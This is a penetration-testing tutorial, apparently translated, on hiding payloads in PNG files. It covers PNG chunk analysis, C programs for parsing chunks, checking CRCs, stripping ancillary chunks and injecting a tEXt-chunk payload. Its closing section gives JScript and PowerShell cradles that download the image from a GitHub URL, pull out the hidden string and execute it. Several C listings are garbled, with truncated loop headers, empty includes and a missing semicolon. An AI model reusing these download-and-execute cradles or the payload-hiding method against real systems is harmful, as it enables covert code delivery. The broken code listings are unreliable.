0x00 Preface

---

Steganography has a long history with many interesting details, so I plan to systematically study it. This time, let's start with the PNG file format.

![Alt text](

https://raw.githubusercontent.某开源项目.jpg)

Image from http://null-byte.wonderhowto.com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/

0x01 Introduction

---

Steganography can be understood as information hiding, with its primary application in penetration testing being payload concealment. This article will analyze the PNG file format, write a C program to automatically parse the file format, and add custom payloads according to its structure. This will not affect normal image viewing, allow image uploads to the internet, and enable payload execution by downloading the image and decrypting it in a specific format.

Note:

All program source code has been uploaded to GitHub at:

某开源项目

0x02 PNG File Format

---

1. PNG file signature field

First 8 bytes

Fixed format, hexadecimal representation:

89 50 4e 47 0d 0a 1a 0a

2. Data chunks

Chunk Type Code: 4 bytes, data chunk type code

Chunk Data: Variable length, stores data

CRC (Cyclic Redundancy Check): 4 bytes, stores cyclic redundancy code for error detection

Data chunk types:

1. Critical chunks

(1) IHDR chunk (header chunk)

  • Contains basic information of the PNG file
  • Only one IHDR chunk can exist in a PNG data stream
  • Must be placed at the very beginning of the PNG file

(2) PLTE chunk (palette chunk)

  • Contains color transformation data related to indexed-color images
  • Must appear before IDAT

(3) Image data chunk IDAT

  • Stores actual image data
  • Multiple IDAT chunks may exist
  • Must be consecutive with other IDAT chunks

(4) Image trailer chunk IEND

  • Fixed format, hexadecimal representation:

00 00 00 00 49 45 4E 44 AE 42 60 82

  • Must be at the very end of the PNG file

2. Ancillary chunks

Used to indicate layers, text, and other auxiliary information in PNG images

Can be deleted without affecting image viewing, but the image will lose its original editability

(1) Background color chunk bKGD

(2) Primary chromaticities and white point chunk cHRM

(3) Image gamma chunk gAMA (image gamma)

(4) Image histogram chunk hIST (image histogram)

(5) Physical pixel dimensions chunk pHYs (physical pixel dimensions)

(6) Significant bits chunk sBIT (significant bits)

(7) Textual data chunk tEXt (textual data)

(8) Image last-modification time chunk tIME (image last-modification time)

(9) Transparency chunk tRNS (transparency)

(10) Compressed textual data chunk zTXt (compressed textual data)

0x03 Instance format analysis

---

Tool: Hex Editor

Advantages:

Allows marking of hexadecimal strings, setting colors, facilitating format analysis

Test file:

As shown in the figure

Alt text

Source download address:

http://www.easyicon.net/language.en/1172671-png_icon.html

The marked file format is as shown

Alt text

Alt text

(1) PNG file signature field

Fixed format:

89 50 4e 47 0d 0a 1a 0a

(2) IHDR

00000008h: 00 00 00 0D 49 48 44 52 00 00 00 1A 00 00 00 1A ; ....IHDR........

00000018h: 08 04 00 00 00 03 43 84 45 ; ......C凟

Chunk structure:

Length:

00 00 00 0D

The first 4 bytes define the length, 00 00 00 0D in decimal is 13, representing a length of 13 bytes.

Chunk Type Code:

49 48 44 52

4 bytes, define the chunk type code, here it is IHDR

Chunk Data:

00 00 00 1A 00 00 00 1A 08 04 00 00 00

A total of 13 bytes, define the data content

CRC:

4 bytes, the value calculated by performing CRC32 on Chunk Type Code + Chunk Data

That is, calculate the following hexadecimal:

49 48 44 52 00 00 00 1A 00 00 00 1A 08 04 00 00 00

Write a program to verify the CRC algorithm, save it as example1.cpp, the source code is as follows:

#include
unsigned int GetCrc32(char* InStr,unsigned int len){
unsigned int Crc32Table[256];
int i,j;
unsigned int Crc;
for (i = 0; i < 256; i++){
Crc = i;
for (j = 0; j < 8; j++){
if (Crc & 1)
Crc = (Crc >> 1) ^ 0xEDB88320;
else
Crc >>= 1;
}
Crc32Table[i] = Crc;
}

Crc=0xffffffff;
for(int m=0; m Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];
}

Crc ^= 0xFFFFFFFF;
return Crc;
}
int main(int argc, char* argv[])
{
char buf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};
unsigned int crc32=GetCrc32(buf,sizeof(buf));
printf("%08X\n",crc32);
return 0;
}

After running, the output is 03438445, which matches the CRC32 checksum in the file

Alt text

(3) gAMA

00000021h: 00 00 00 04 67 41 4D 41 00 00 B1 8F 0B FC 61 05 ; ....gAMA..睆.黙.

Chunk structure:

Length: 00 00 00 04

Chunk Type Code: 67 41 4D 41

Chunk Data: 00 00 B1 8F

CRC: 0B FC 61 05

(4) cHRM

00000031h: 00 00 00 20 63 48 52 4D 00 00 7A 26 00 00 80 84 ; ... cHRM..z&..€?

00000041h: 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 ; ..?..€?.u0..阘

00000051h: 00 00 3A 98 00 00 17 70 9C BA 51 3C ; ..:?..p満Q<

Chunk structure:

Length: 00 00 00 20

Chunk Type Code: 63 48 52 4D

Chunk Data: 00 00 7A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 98 00 00 17 70

CRC: 9C BA 51 3C

(5) IDAT

(6-14) tEXt

(15) IEND

Chunk structure:

Length: 00 00 00 00

Chunk Type Code: 49 45 4E 44

Chunk Data:

CRC: AE 42 60 82

Fixed structure, CRC value is the CRC32 checksum of the Chunk Type Code

As shown in the figure

Alt text

0x04 Writing a program to analyze file format

---

Development tool: vc6.0

1. Read PNG file

Save as example2.cpp, the code is as follows:

#include
#include
int main(int argc, char* argv[])
{
FILE *fp;
if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
return 0;
fseek(fp,0,SEEK_END);
int len=ftell(fp);
unsigned char *buf=new unsigned char[len];
fseek(fp,0,SEEK_SET);
fread(buf,len,1,fp);
printf("len=%d\n",len);
for(int i=1;i<=len;i++)
{
printf("%02X ",buf[i-1]);
if(i%16==0)
printf("\n");
}
fclose(fp);
printf("\n");
return 0;
}

As shown, the program outputs in UltraEdit format for subsequent format analysis

Alt text

2. Parse data block structure

Starting from the 8th byte, read the first four bytes as ChunkLength

The corresponding code is:

unsigned int ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];

The next four bytes are ChunkName

printf("ChunkName:%c%c%c%c\n",buf[0],buf[1],buf[2],buf[3]);

Then read the complete ChunkData based on ChunkLength

Finally, read the CRC32 value and compare it with the CRC32 checksum calculated from Chunk Type Code + Chunk Data

Save as check.cpp, the complete code is as follows:

#include
#include

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){
unsigned int Crc32Table[256];
unsigned int i,j;
unsigned int Crc;
for (i = 0; i < 256; i++){
Crc = i;
for (j = 0; j < 8; j++){
if (Crc & 1)
Crc = (Crc >> 1) ^ 0xEDB88320;
else
Crc >>= 1;
}
Crc32Table[i] = Crc;
}

Crc=0xffffffff;
for(unsigned int m=0; m Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];
}

Crc ^= 0xFFFFFFFF;
return Crc;
}

int main(int argc, char* argv[])
{
FILE *fp;
unsigned char *buf=NULL;
unsigned int len=0;
unsigned int ChunkLen=0;
unsigned int ChunkCRC32=0;
unsigned int ChunkOffset=0;
unsigned int crc32=0;
unsigned int i=0;
if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
return 0;
fseek(fp,0,SEEK_END);
len=ftell(fp);
buf=new unsigned char[len];
fseek(fp,0,SEEK_SET);
fread(buf,len,1,fp);
printf("Total Len=%d\n",len);
printf("----------------------------------------------------\n");
fseek(fp,8,SEEK_SET);
ChunkOffset=8;
i=0;
while(1)
{
i++;
memset(buf,0,len);
fread(buf,4,1,fp);
ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
fread(buf,4+ChunkLen,1,fp);
printf("[+]ChunkName:%c%c%c%c\t\t",buf[0],buf[1],buf[2],buf[3]);
if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
printf("Palette Chunk\n");
printf("Ancillary Chunk\n");
printf(" ChunkOffset:0x%08x\t\n",ChunkOffset);
printf(" ChunkLen: %10d\t\t\n",ChunkLen);
ChunkOffset+=ChunkLen+12;
crc32=GetCrc32(buf,ChunkLen+4);
printf(" ExpectCRC32:%08X\n",crc32);
fread(buf,4,1,fp);
ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
printf(" ChunkCRC32: %08X\t\t",ChunkCRC32);
if(crc32!=ChunkCRC32)
\tprintf("[!]CRC32Check Error!\n");
else
\tprintf("Check Success!\n\n");
ChunkLen=ftell(fp);
if(ChunkLen==(len-12))
{
printf("\n----------------------------------------------------\n");
printf("Total Chunk:%d\n",i);
break;
}
}
fclose(fp);
return 0;
}

When executed, the complete PNG file structure can be obtained

Alt text

Alt text

Note:

This program can be used to analyze PNG file formats, marking chunk names, offset addresses, chunk lengths, and comparing expected versus actual CRC32 checksums. It can be used to analyze batch files and identify suspicious files.

Python implementation code will be supplemented later

0x05 Remove redundant data

---

As mentioned above, removing the content of ancillary chunks does not affect the viewing of PNG images. Next, we will attempt to remove all ancillary chunks from the PNG file.

1. Tool Implementation

As shown in the figure, use a Hex Editor to remove the ancillary chunks gAMA, cHRM, and bKGD.

Alt text

As shown in the figure, the file size changes, but it does not affect the viewing of the PNG file.

Alt text

2. Program Implementation

Remove all ancillary chunks, extracting only key information. The program first checks the ChunkName, ignores the content of non-critical data chunks (Ancillary Chunks), and saves it as new.png.

Save as compress.cpp, the complete code is:

#include
#include

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){
unsigned int Crc32Table[256];
unsigned int i,j;
unsigned int Crc;
for (i = 0; i < 256; i++){
Crc = i;
for (j = 0; j < 8; j++){
if (Crc & 1)
Crc = (Crc >> 1) ^ 0xEDB88320;
else
Crc >>= 1;
}
Crc32Table[i] = Crc;
}

Crc=0xffffffff;
for(unsigned int m=0; m Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];
}

Crc ^= 0xFFFFFFFF;
return Crc;
}

int main(int argc, char* argv[])
{
FILE *fp,*fpnew;
unsigned char *buf=NULL;
unsigned int len=0;
unsigned int ChunkLen=0;
unsigned int ChunkCRC32=0;
unsigned int ChunkOffset=0;
unsigned int crc32=0;
unsigned int i=0,j=0;
unsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};
unsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};

if((fp=fopen("c:\\test\\0.png","rb+"))==NULL)
return 0;
if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
return 0;
fseek(fp,0,SEEK_END);
len=ftell(fp);
buf=new unsigned char[len];
fseek(fp,0,SEEK_SET);
fread(buf,len,1,fp);
printf("Total Len=%d\n",len);
printf("----------------------------------------------------\n");
fseek(fp,8,SEEK_SET);
ChunkOffset=8;
i=0;
fwrite(Signature,8,1,fpnew);
while(1)
{
i++;
j=0;
memset(buf,0,len);
fread(buf,4,1,fp);
fwrite(buf,4,1,fpnew);
ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
fread(buf,4+ChunkLen,1,fp);
printf("[+]ChunkName:%c%c%c%c\t\t",buf[0],buf[1],buf[2],buf[3]);
if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
{
printf("Palette Chunk\n");

fwrite(buf,4+ChunkLen,1,fpnew);
}
else
{
printf("Ancillary Chunk\n");
fseek(fpnew, -4, SEEK_CUR);
j = 1;
}
printf(" ChunkOffset: 0x%08x\t\n", ChunkOffset);
printf(" ChunkLen: %10d\t\t\n", ChunkLen);
crc32 = GetCrc32(buf, ChunkLen + 4);
printf(" ExpectCRC32: %08X\n", crc32);
fread(buf, 4, 1, fp);
ChunkCRC32 = (buf[0] << 24) | (buf[1] << 16) | (buf[2] << 8) | buf[3];
printf(" ChunkCRC32: %08X\t\t", ChunkCRC32);
if (crc32 != ChunkCRC32)
printf("[!] CRC32 Check Error!\n")
else
{
printf("Check Success!\n\n");
if(j==0)
fwrite(buf,4,1,fpnew);
}
ChunkLen=ftell(fp);
if(ChunkLen==(len-12))
{
printf("\n----------------------------------------------------\n");
printf("Total Chunk:%d\n",i);
break;
}
}
fwrite(IEND,12,1,fpnew);
fclose(fp);
fclose(fpnew);
return 0;
}

As shown, the left side is the original PNG file size, while the right side is the file after removing all ancillary chunks, which can still be viewed normally

Alt text

0x06 Write Payload

---

Example:

Write the payload according to the ancillary chunk format

The written payload is:

calc.exe

Ancillary chunk set to:

tEXt

The corresponding complete chunk structure is as follows:

Length: 00 00 00 08
Chunk Type Code: 74 45 58 74
Chunk Data: 63 61 6c 63 2e 65 78 65
CRC: fa c4 08 76

The written hexadecimal data is as follows:

00 00 00 08 74 45 58 74 63 61 6c 63 2e 65 78 65 fa c4 08 76

Note:

This example is for demonstration only; in actual use, other data chunks can be used for greater concealment.

1. Tool Implementation

Insert data using a Hex Editor, as shown in the figure.

Alt text

After saving, PNG file viewing remains unaffected.

2. Program Implementation

After removing all ancillary data chunks from the PNG file, write the payload data chunk tEXt.

Save as addpayload.cpp, complete code:

#include
#include

unsigned int GetCrc32(unsigned char* InStr,unsigned int len){
unsigned int Crc32Table[256];
unsigned int i,j;
unsigned int Crc;
for (i = 0; i < 256; i++){
Crc = i;
for (j = 0; j < 8; j++){
if (Crc & 1)
Crc = (Crc >> 1) ^ 0xEDB88320;
else
Crc >>= 1;
}
Crc32Table[i] = Crc;
}

Crc=0xffffffff;
for(unsigned int m=0; m Crc = (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];
}

Crc ^= 0xFFFFFFFF;
return Crc;
}

void convertStrToUnChar(char* str, unsigned char* UnChar)
{
int i = strlen(str), j = 0, counter = 0;
char c[2];
unsigned int bytes[2];

for (j = 0; j < i; j += 2)
{
if(0 == j % 2)
{
c[0] = str[j];
c[1] = str[j + 1];
sscanf(c, "%02x" , &bytes[0]);
UnChar[counter] = bytes[0];
counter++;
}
}
return;
}

void AddPayload(FILE *fp)
{
char *Payload="calc.exe";
unsigned char *buf;
int len;
int crc32;
len=strlen(Payload);
buf=new unsigned char[len+12];
buf[0]=len>>24&0xff;
buf[1]=len>>16&0xff;
buf[2]=len>>8&0xff;
buf[3]=len&0xff;
buf[4]='t';
buf[5]='E';
buf[6]='X';
buf[7]='t';
for(int j=0;j buf[j+8]=Payload[j];
buf[len+8]=0XFA;
buf[len+9]=0XC4;
buf[len+10]=0X08;
buf[len+11]=0X76;
fwrite(buf,len+12,1,fp);
}

int main(int argc, char* argv[])
{
FILE *fp,*fpnew;
unsigned char *buf=NULL;
unsigned int len=0;
unsigned int ChunkLen=0;
unsigned int ChunkCRC32=0;
unsigned int ChunkOffset=0;
unsigned int crc32=0;
unsigned int i=0,j=0;
unsigned char Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};
unsigned char IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};

if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
return 0;
if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
return 0;
fseek(fp,0,SEEK_END);
len=ftell(fp);
buf=new unsigned char[len];
fseek(fp,0,SEEK_SET);
fread(buf,len,1,fp);
printf("Total Len=%d\n",len);
printf("----------------------------------------------------\n");
fseek(fp,8,SEEK_SET);
ChunkOffset=8;
i=0;
fwrite(Signature,8,1,fpnew);
while(1)
{
i++;
j=0;
memset(buf,0,len);
fread(buf,4,1,fp);
fwrite(buf,4,1,fpnew);
ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
fread(buf,4+ChunkLen,1,fp);
printf("[+]ChunkName:%c%c%c%c\t\t",buf[0],buf[1],buf[2],buf[3]);
if(strncmp((char *)buf,"IHDR",4)==0|strncmp((char *)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
{
printf("Palette Chunk\n");

fwrite(buf,4+ChunkLen,1,fpnew);
}
else
{
printf("Ancillary Chunk\n");
fseek(fpnew,-4,SEEK_CUR);
j=1;
}
printf(" ChunkOffset:0x%08x \n",ChunkOffset);
printf(" ChunkLen: %10d \n",ChunkLen);
crc32=GetCrc32(buf,ChunkLen+4);
printf(" ExpectCRC32:%08X\n",crc32);
fread(buf,4,1,fp);
ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
printf(" ChunkCRC32: %08X ",ChunkCRC32);
if(crc32!=ChunkCRC32)
printf("[!]CRC32Check Error!\n");
else
{
printf("Check Success!\n\n");
if(j==0)
fwrite(buf,4,1,fpnew);
}
ChunkLen=ftell(fp);
if(ChunkLen==(len-12))
{
printf("\n----------------------------------------------------\n");
printf("Total Chunk:%d\n",i);
break;
}
}
AddPayload(fpnew);
fwrite(IEND,12,1,fpnew);
fclose(fp);
fclose(fpnew);
return 0;
}

Use check.cpp to verify it, as shown in the figure, verification successful

Alt text

0x07 Read payload and execute

---

Upload the image with payload added to GitHub, and implement reading the image, parsing the payload, and executing it on the client side:

1、javascript

h = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
h.Open("GET","https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png",false);
h.Send();
Data = h.ResponseText;
x=Data.indexOf("tEXt");
y=Data.indexOf("IEND");
str=Data.substring(x+4,y-8);
new ActiveXObject("WScript.Shell").Run(str);

2、powershell

$url = 'https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png'
$request = New-Object System.Net.WebCLient
$bytes = $request.DownloadString($url)
$x=$bytes.indexof("tEXt")
$y=$bytes.indexof("IEND")
$str=$bytes.Substring($x+4,$y-$x-12)
Start-Process -FilePath $str

Note:

Two methods are provided here for demonstration purposes only

0x08 Summary

---

This article provides a detailed analysis of the PNG file format and implements the following functionalities through programming:

  • Automatically parse the PNG file format to assist in finding hidden content within
  • Add Payload
  • Download PNG images, parse them, and execute the payload